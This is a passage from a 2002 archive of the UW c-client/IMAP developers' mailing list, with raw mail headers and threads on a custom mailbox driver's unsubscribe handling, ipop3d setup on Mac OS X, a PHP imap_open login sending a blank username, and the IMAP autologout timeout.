[140.142.8.99]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g2C945mT031035; Tue, 12 Mar 2002 01:04:05 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g2C934Er040380; Tue, 12 Mar 2002 01:03:04 -0800 Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g2C91dnJ118148 for ; Tue, 12 Mar 2002 01:01:39 -0800 Received: FROM mxu3.u.washington.edu BY mailscan2.cac.washington.edu ; Tue Mar 12 01:01:38 2002 -0800 Received: from hal-5.inet.it (hal-5.inet.it [213.92.5.24]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g2C91bre012700 for ; Tue, 12 Mar 2002 01:01:37 -0800 Received: (from root@localhost) by hal-5.inet.it (8.11.1/8.11.1) id g2C91VS472012; Tue, 12 Mar 2002 10:01:31 +0100 Received: from mgm.inet.it(213.92.1.175) by hal-5.inet.it via I-SMTP-4.0.5-100 id s-213.92.1.175-5H3kxH; Tue Mar 12 10:01:31 2002 Message-Id: <001501c1c9a4$43e4eb60$af015cd5@MM1> Date: Tue, 12 Mar 2002 09:59:48 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Matteo Gelosa" To: "Mark Crispin" Cc: Subject: Re: unsubscribe a removed mailbox? References: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Thanks again. Anyway my local driver uses a database implementation of a messaging system, so I have implemented at the driver level the subscribe/unsubscribe/lsub methods and obviously I have to support renaming. Unfortunately, clients such as Outlook use subscription in terms of visibile mailboxes so I had to implement it (also to be standard compliant...). The messaging system supports access by a proprietary application protocol and the IMAP4 driver (such as POP3 and Webmail/HTTP) is a gateway to this protocol and for this reason I cannot use the standard available drivers. I solved the problem by hacking the mail_unsubscribe by removing the mail_valid check: the unsubscription fails anyway if the mailbox is not subscribed (well, this works but I don't like it too much because it violates the driver boundaries). Bye, Matteo -- Matteo Gelosa I.NET S.p.A. Research & Development Via Darwin, 85 - 20019 Settimo Milanese MI mailto:m.gelosa@inet.it Tel. +39.02.32863.1 http://www.inet.it Fax +39.02.32863.7701 ----- Original Message ----- From: "Mark Crispin" To: "Matteo Gelosa" Cc: Sent: Monday, March 11, 2002 9:58 PM Subject: Re: unsubscribe a removed mailbox? > I guess that you have encountered a problem. Nobody before has tried to use a > local driver which doesn't use the subscription manager and has rename. The > only local driver which doesn't use the subscription manager is the news > driver (for a local filesystem news spool) which doesn't have rename. And > news has its own subscription mechanism for legacy purposes. > > Why aren't you using the subscription manager (in other words, not have > subscription/unsubscription/lsub methods)? That would seem to make your task > much easier. > > > From pinedev@shivax2.cac.washington.edu Fri Mar 29 12:27:27 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 29 Mar 2002 12:27:27 -0800 (PST) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g2TKRROT015338 for ; Fri, 29 Mar 2002 12:27:27 -0800 Received: FROM mx2.cac.washington.edu BY mailscan3.cac.washington.edu ; Fri Mar 29 12:27:26 2002 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g2TKRQmT021080; Fri, 29 Mar 2002 12:27:26 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g2TKQVlZ012294; Fri, 29 Mar 2002 12:26:31 -0800 Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g2TKOEDN037922 for ; Fri, 29 Mar 2002 12:24:14 -0800 Received: FROM mxu4.u.washington.edu BY mailscan6.cac.washington.edu ; Fri Mar 29 12:24:13 2002 -0800 Received: from Ikkoku-Kan.Panda.COM (ikkoku-kan.panda.com [206.124.149.114]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g2TKOCIe019420 for ; Fri, 29 Mar 2002 12:24:13 -0800 Received: from Ikkoku-Kan.Panda.COM (Ikkoku-Kan.Panda.COM [192.107.14.50]) by Ikkoku-Kan.Panda.COM id MAA05670; Fri, 29 Mar 2002 12:24:11 -0800 (PST) Message-Id: Date: Fri, 29 Mar 2002 12:18:06 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: c-client@u.washington.edu Cc: c-client@u.washington.edu, earla@mac.com Subject: re: IPOP3 Server In-Reply-To: <200203292011.g2TKBrm00575@Yo_Mama> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, 29 Mar 2002 12:11:53 -0800 (PST), earl_albin wrote: > [yo_mama:~] homeg4% telnet localhost 110 > Trying 127.0.0.1... > Connected to localhost. > Escape character is '^]'. > Connection closed by foreign host. Check your [x]inetd configuration file(s). You probably have it pointed at the wrong path for the ipop3d binary. > Now I am not currenly using a fully qualified domain name at home so should > that matter? It doesn't matter to imapd and ipop3d, but it certainly matters if you are going to send email to the Internet. Your message came out with From: earl_albin which is unreplyable. I usually ignore all such messages as being spam. > Another question how does the mail get sent to a directory? That's in however your mail delivery program is configured. > I set up the file env_unix.c file. > The static char reads *mailsubdir = "Library/Mail/Mailboxes"; That sets the place where imapd/ipop3d look for it. It doesn't do anything about causing it to be put there. > I try sending mail to myself using the SMTP server, but it goes to > /var/mail/homeg4, is this normal? On normal UNIX systems, yes. Mac OS X is not a normal UNIX system by any stretch of the imagination. From pinedev@shivax2.cac.washington.edu Fri Mar 29 17:51:06 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 29 Mar 2002 17:51:06 -0800 (PST) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g2U1p6OT025752 for ; Fri, 29 Mar 2002 17:51:06 -0800 Received: FROM mx2.cac.washington.edu BY mailscan3.cac.washington.edu ; Fri Mar 29 17:51:05 2002 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g2U1p5mT030144; Fri, 29 Mar 2002 17:51:05 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g2U1oZlZ021572; Fri, 29 Mar 2002 17:50:35 -0800 Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g2U1nKDN180150 for ; Fri, 29 Mar 2002 17:49:20 -0800 Received: FROM mxu3.u.washington.edu BY mailscan6.cac.washington.edu ; Fri Mar 29 17:49:19 2002 -0800 Received: from ecotc.com (ecotc.com [216.122.217.222]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g2U1nJre026213 for ; Fri, 29 Mar 2002 17:49:19 -0800 Received: from [192.168.1.100] (bgp623769bgs.brick201.nj.comcast.net [68.39.121.146]) by ecotc.com (8.11.0/8.11.0) with ESMTP id g2U1nJC58653 for ; Fri, 29 Mar 2002 20:49:19 -0500 (EST) (envelope-from eco@seaoasis.com) Message-Id: Date: Fri, 29 Mar 2002 20:50:12 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Ed O'Malley" To: Subject: C-client update process question Mime-version: 1.0 Content-type: text/plain; charset="US-ASCII" Content-transfer-encoding: 7bit X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Quick question. When installing an updated version of cclient (on FreeBSD) so that I can update PHP, I get the following error: #define CCLIENT_PORTVERSION "2001a": not found *** Error code 127 How can I resolve this? I am not all that familiar with FreeBSD, so any help is appreciated. Thanks. Ed -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri Mar 29 23:13:06 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 29 Mar 2002 23:13:06 -0800 (PST) Return-Path: Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g2U7D5OT031037 for ; Fri, 29 Mar 2002 23:13:05 -0800 Received: FROM mx2.cac.washington.edu BY mailscan2.cac.washington.edu ; Fri Mar 29 23:13:05 2002 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g2U7D4mT002734; Fri, 29 Mar 2002 23:13:04 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g2U7CPR8065242; Fri, 29 Mar 2002 23:12:25 -0800 Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g2U6aHDN111568 for ; Fri, 29 Mar 2002 22:36:17 -0800 Received: FROM mxu1.u.washington.edu BY mailscan4.cac.washington.edu ; Fri Mar 29 22:36:16 2002 -0800 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g2U6aGc6006185 for ; Fri, 29 Mar 2002 22:36:16 -0800 Received: from mailscan-out3.cac.washington.edu (mailscan-out3.cac.washington.edu [140.142.32.18]) by mxout2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g2U6aGFJ006858 for ; Fri, 29 Mar 2002 22:36:16 -0800 Received: FROM smtp.washington.edu BY mailscan-out3.cac.washington.edu ; Fri Mar 29 22:36:15 2002 -0800 Received: from Tomobiki-Cho.u.washington.edu (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g2U6aBjv025213 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NO); Fri, 29 Mar 2002 22:36:15 -0800 Message-Id: Date: Fri, 29 Mar 2002 22:36:11 -0800 (Pacific Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: "Ed O'Malley" Cc: c-client@u.washington.edu Subject: Re: C-client update process question In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@CAC.Washington.EDU X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, 29 Mar 2002, Ed O'Malley wrote: > Quick question. When installing an updated version of cclient (on FreeBSD) > so that I can update PHP, I get the following error: > #define CCLIENT_PORTVERSION "2001a": not found > *** Error code 127 This sounds like a PHP issue, so you should probably take it up with those folks. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. "A single glass of champagne imparts a feeling of exhiliaration. The nerves are braced; the imagination is agreeably strirred; the wits become more nimble. A bottle produces a contrary effect. Excess causes a comatose insensibility. So it is with war; and the quality of both is best discovered by sipping." -- Winston Churchill From pinedev@shivax2.cac.washington.edu Sat Mar 30 10:14:09 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sat, 30 Mar 2002 10:14:09 -0800 (PST) Return-Path: Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g2UIE9OT012080 for ; Sat, 30 Mar 2002 10:14:09 -0800 Received: FROM mx2.cac.washington.edu BY mailscan2.cac.washington.edu ; Sat Mar 30 10:13:58 2002 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g2UIDwmT013104; Sat, 30 Mar 2002 10:13:58 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g2UIDGeo032556; Sat, 30 Mar 2002 10:13:16 -0800 Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g2UIBrDN040770 for ; Sat, 30 Mar 2002 10:11:53 -0800 Received: FROM mxu4.u.washington.edu BY mailscan1.cac.washington.edu ; Sat Mar 30 10:11:52 2002 -0800 Received: from mail.blandsite.org (everything.west.spy.net [66.149.231.236] (may be forged)) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g2UIBqIe031866 for ; Sat, 30 Mar 2002 10:11:52 -0800 Received: from localhost (disk.west.spy.net [192.168.1.201]) by mail.blandsite.org (Postfix) with ESMTP id F22A01621C; Sat, 30 Mar 2002 10:11:59 -0800 (PST) Received: from 64.172.44.195 ( [64.172.44.195]) as user knitterb@binge.b by imap.blandsite.org with HTTP; Sat, 30 Mar 2002 10:11:50 -0800 Message-Id: <1017511910.3ca5ffe614aad@imap.blandsite.org> Date: Sat, 30 Mar 2002 10:11:50 -0800 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Brandon Knitter To: php-install-digest@lists.php.net Cc: c-client@u.washington.edu Subject: IMAP Connection: LOGIN is on two lines MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-Originating-IP: 64.172.44.195 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I recently installed PHP (4.1.2) with IMAP support using UWASH's c-client library on a Solaris machine without issue. When I did the same on Linux I could not login to my IMAP server. Snooping the connection on the IMAP server resulted in the following: # strings /tmp/snoop.log snoop &H); e* OK binge Cyrus IMAP4 v1.5.19 server ready Ywv00000000 CAPABILITY &HTI * CAPABILITY IMAP4 IMAP4rev1 ACL QUOTA LITERAL+ NAMESPACE UIDPLUS X-NON-HIERARCHICAL-RENAME NO_ATOMIC_RENAME UNSELECT 00000000 OK Completed 00000001 LOGIN " " ******** 00000001 NO Invalid user 00000002 LOGIN " " ******** 00000002 NO Invalid user 00000003 LOGIN " " ******** 00000003 NO Invalid user 00000004 LOGOUT * BYE LOGOUT received 00000004 OK Completed &HRx # (I have replaced my password with "*". The odd part is that the LOGIN is on two lines. I have echo'd out the information send to the imap_open command in the script I'm using and all is well, as a matter of fact, the username is correct in the script, but as you can see above, it's blank (replaced by a CR or CRLF). Any help would be greatly appreciated. Thanks, -- -bk From pinedev@shivax2.cac.washington.edu Sat Mar 30 10:15:26 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sat, 30 Mar 2002 10:15:26 -0800 (PST) Return-Path: Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g2UIFQOT012092 for ; Sat, 30 Mar 2002 10:15:26 -0800 Received: FROM mx1.cac.washington.edu BY mailscan4.cac.washington.edu ; Sat Mar 30 10:15:15 2002 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g2UIFFPs020578; Sat, 30 Mar 2002 10:15:15 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g2UIEleo017414; Sat, 30 Mar 2002 10:14:48 -0800 Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g2UIEGDN086658 for ; Sat, 30 Mar 2002 10:14:16 -0800 Received: FROM mxu2.u.washington.edu BY mailscan5.cac.washington.edu ; Sat Mar 30 10:14:15 2002 -0800 Received: from mail.blandsite.org (everything.west.spy.net [66.149.231.236] (may be forged)) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g2UIEAZB008592 for ; Sat, 30 Mar 2002 10:14:15 -0800 Received: from localhost (disk.west.spy.net [192.168.1.201]) by mail.blandsite.org (Postfix) with ESMTP id 0727F1621C; Sat, 30 Mar 2002 10:14:18 -0800 (PST) Received: from 64.172.44.195 ( [64.172.44.195]) as user knitterb@binge.b by imap.blandsite.org with HTTP; Sat, 30 Mar 2002 10:14:09 -0800 Message-Id: <1017512049.3ca600716f974@imap.blandsite.org> Date: Sat, 30 Mar 2002 10:14:09 -0800 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Brandon Knitter To: php-install@lists.php.net Cc: c-client@u.washington.edu Subject: Re: IMAP Connection: LOGIN is on two lines In-Reply-To: <1017511910.3ca5ffe614aad@imap.blandsite.org> References: <1017511910.3ca5ffe614aad@imap.blandsite.org> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-Originating-IP: 64.172.44.195 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN > I recently installed PHP (4.1.2) with IMAP support using UWASH's c-client > library on a Solaris machine without issue. When I did the same on Linux I > could not login to my IMAP server. Snooping the connection on the IMAP > server > resulted in the following: > > > # > strings /tmp/snoop.log > snoop > &H); > e* OK binge Cyrus IMAP4 v1.5.19 server ready > Ywv00000000 CAPABILITY > &HTI > * CAPABILITY IMAP4 IMAP4rev1 ACL QUOTA LITERAL+ NAMESPACE UIDPLUS > X-NON-HIERARCHICAL-RENAME NO_ATOMIC_RENAME UNSELECT > 00000000 OK Completed > 00000001 LOGIN " > " ******** > 00000001 NO Invalid user > 00000002 LOGIN " > " ******** > 00000002 NO Invalid user > 00000003 LOGIN " > " ******** > 00000003 NO Invalid user > 00000004 LOGOUT > * BYE LOGOUT received > 00000004 OK Completed > &HRx > # > > (I have replaced my password with "*". > > The odd part is that the LOGIN is on two lines. I have echo'd out the > information send to the imap_open command in the script I'm using and all > is > well, as a matter of fact, the username is correct in the script, but as you > can > see above, it's blank (replaced by a CR or CRLF). > > Any help would be greatly appreciated. > > Thanks, > > -- > -bk > > > > > From pinedev@shivax2.cac.washington.edu Sun Mar 31 21:15:10 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 31 Mar 2002 21:15:10 -0800 (PST) Return-Path: Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g315FAOT019364 for ; Sun, 31 Mar 2002 21:15:10 -0800 Received: FROM mx1.cac.washington.edu BY mailscan1.cac.washington.edu ; Sun Mar 31 21:15:09 2002 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g315F8Ps020706; Sun, 31 Mar 2002 21:15:08 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g315EPlZ012466; Sun, 31 Mar 2002 21:14:25 -0800 Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g315BBDN040956 for ; Sun, 31 Mar 2002 21:11:11 -0800 Received: FROM mxu3.u.washington.edu BY mailscan4.cac.washington.edu ; Sun Mar 31 21:11:10 2002 -0800 Received: from relay3.nyc2.aens.net (relay3.nyc2.attens.net [63.240.1.44]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g315B9re010202 for ; Sun, 31 Mar 2002 21:11:10 -0800 Received: from email.masconit.com (email.masconit.com [12.107.104.100]) by relay3.nyc2.aens.net (8.11.6/8.11.6) with ESMTP id g315B9C11533 for ; Mon, 1 Apr 2002 05:11:09 GMT Received: from NRAMKI (host132-19.wipro.net.in [202.177.132.19]) by email.masconit.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) id H4859LRS; Sun, 31 Mar 2002 23:11:08 -0600 Message-Id: <001801c1d93b$bfe135b0$3301c0c0@NRAMKI> Date: Mon, 1 Apr 2002 10:41:55 +0530 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Ramakrishnan N." To: Subject: Setting the Timeouts MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0015_01C1D969.D7C12F40" X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This is a multi-part message in MIME format. ------=_NextPart_000_0015_01C1D969.D7C12F40 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hi, I have the UW imapd running on my Linux machine (RedHat 6.2) = successfully. I can connect to the Mail Server and fetch the mails of = the Users, without any problem with E-mail Clients. My Requirement is that, I need to change the Timeout for the = Autologout, i.e. the maximum Time for which the a Session can be Idle, = after the User has logged in. Looking fwd to mails in reg. to this. N.Ramki ------=_NextPart_000_0015_01C1D969.D7C12F40 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
    Hi,
      I have the UW imapd running on = my Linux=20 machine (RedHat 6.2) successfully. I can connect to the Mail Server and = fetch=20 the mails of the Users, without any problem with E-mail = Clients.
        My Requirement is = that, I need=20 to change the Timeout for the Autologout, i.e. the maximum Time for = which=20 the a Session can be Idle, after the User has logged in.
     
    Looking fwd to mails in reg. to = this.
     
    N.Ramki
     
    ------=_NextPart_000_0015_01C1D969.D7C12F40-- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Apr 1 00:19:24 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 1 Apr 2002 00:19:24 -0800 (PST) Return-Path: Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g318JOOT023295 for ; Mon, 1 Apr 2002 00:19:24 -0800 Received: FROM mx1.cac.washington.edu BY mailscan6.cac.washington.edu ; Mon Apr 01 00:19:23 2002 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g318JNPs024274; Mon, 1 Apr 2002 00:19:23 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g318IeR8015716; Mon, 1 Apr 2002 00:18:40 -0800 Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g318EmDN055438 for ; Mon, 1 Apr 2002 00:14:48 -0800 Received: FROM mxu4.u.washington.edu BY mailscan3.cac.washington.edu ; Mon Apr 01 00:14:46 2002 -0800 Received: from Ikkoku-Kan.Panda.COM (ikkoku-kan.panda.com [206.124.149.114]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g318EjIe006792 for ; Mon, 1 Apr 2002 00:14:46 -0800 Received: from Ikkoku-Kan.Panda.COM (Ikkoku-Kan.Panda.COM [192.107.14.50]) by Ikkoku-Kan.Panda.COM id AAA09348; Mon, 1 Apr 2002 00:14:41 -0800 (PST) Message-Id: Date: Mon, 1 Apr 2002 00:13:43 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: "Ramakrishnan N." Cc: c-client@u.washington.edu Subject: re: Setting the Timeouts In-Reply-To: <001801c1d93b$bfe135b0$3301c0c0@NRAMKI> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 1 Apr 2002 10:41:55 +0530, Ramakrishnan N. wrote: > My Requirement is that, I need to change the Timeout for the Autologout, > i.e. the maximum Time for which the a Session can be Idle, after the User > has logged in. Why do you want to do this? The protocol sets a minimum timeout of 30 minutes. It is NON-COMPLIANT for an IMAP server to have a shorter timeout, and hardly anyone wants a longer timeout. From pinedev@shivax2.cac.washington.edu Mon Apr 1 00:46:25 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 1 Apr 2002 00:46:25 -0800 (PST) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g318kPOT023663 for ; Mon, 1 Apr 2002 00:46:25 -0800 Received: FROM mx2.cac.washington.edu BY mailscan3.cac.washington.edu ; Mon Apr 01 00:46:24 2002 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g318kOmT016543; Mon, 1 Apr 2002 00:46:24 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g318joqt010736; Mon, 1 Apr 2002 00:45:50 -0800 Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g318iSDN159880 for ; Mon, 1 Apr 2002 00:44:28 -0800 Received: FROM mxu3.u.washington.edu BY mailscan5.cac.washington.edu ; Mon Apr 01 00:44:27 2002 -0800 Received: from relay3.nyc2.aens.net (relay3.nyc2.attens.net [63.240.1.44]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g318iRre030623 for ; Mon, 1 Apr 2002 00:44:27 -0800 Received: from email.masconit.com (email.masconit.com [12.107.104.100]) by relay3.nyc2.aens.net (8.11.6/8.11.6) with ESMTP id g318iLC19033; Mon, 1 Apr 2002 08:44:21 GMT Received: from NRAMKI (host132-19.wipro.net.in [202.177.132.19]) by email.masconit.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) id H4859MA6; Mon, 1 Apr 2002 02:44:19 -0600 Message-Id: <004701c1d959$88b45180$3301c0c0@NRAMKI> Date: Mon, 1 Apr 2002 14:15:06 +0530 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Ramakrishnan N." To: "Mark Crispin" Cc: Subject: Re: Setting the Timeouts References: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi, I actually need the Timeout to be for a longer duration. I need to Test an Application for a set of Active Connections to my IMAP Server and it takes more than 30 minutes for all the connections to be established. Hence I need the Timeout to be extended. Is there any place, like a config file or something, where I can change this Timeout? Looking fwd. to mails in reg. to this. N.Ramki ----- Original Message ----- From: "Mark Crispin" To: "Ramakrishnan N." Cc: Sent: Monday, April 01, 2002 1:43 PM Subject: re: Setting the Timeouts > On Mon, 1 Apr 2002 10:41:55 +0530, Ramakrishnan N. wrote: > > My Requirement is that, I need to change the Timeout for the Autologout, > > i.e. the maximum Time for which the a Session can be Idle, after the User > > has logged in. > > Why do you want to do this? > > The protocol sets a minimum timeout of 30 minutes. It is NON-COMPLIANT for an > IMAP server to have a shorter timeout, and hardly anyone wants a longer > timeout. From pinedev@shivax2.cac.washington.edu Mon Apr 1 09:20:56 2002 -0800 Return-Path: Received: via 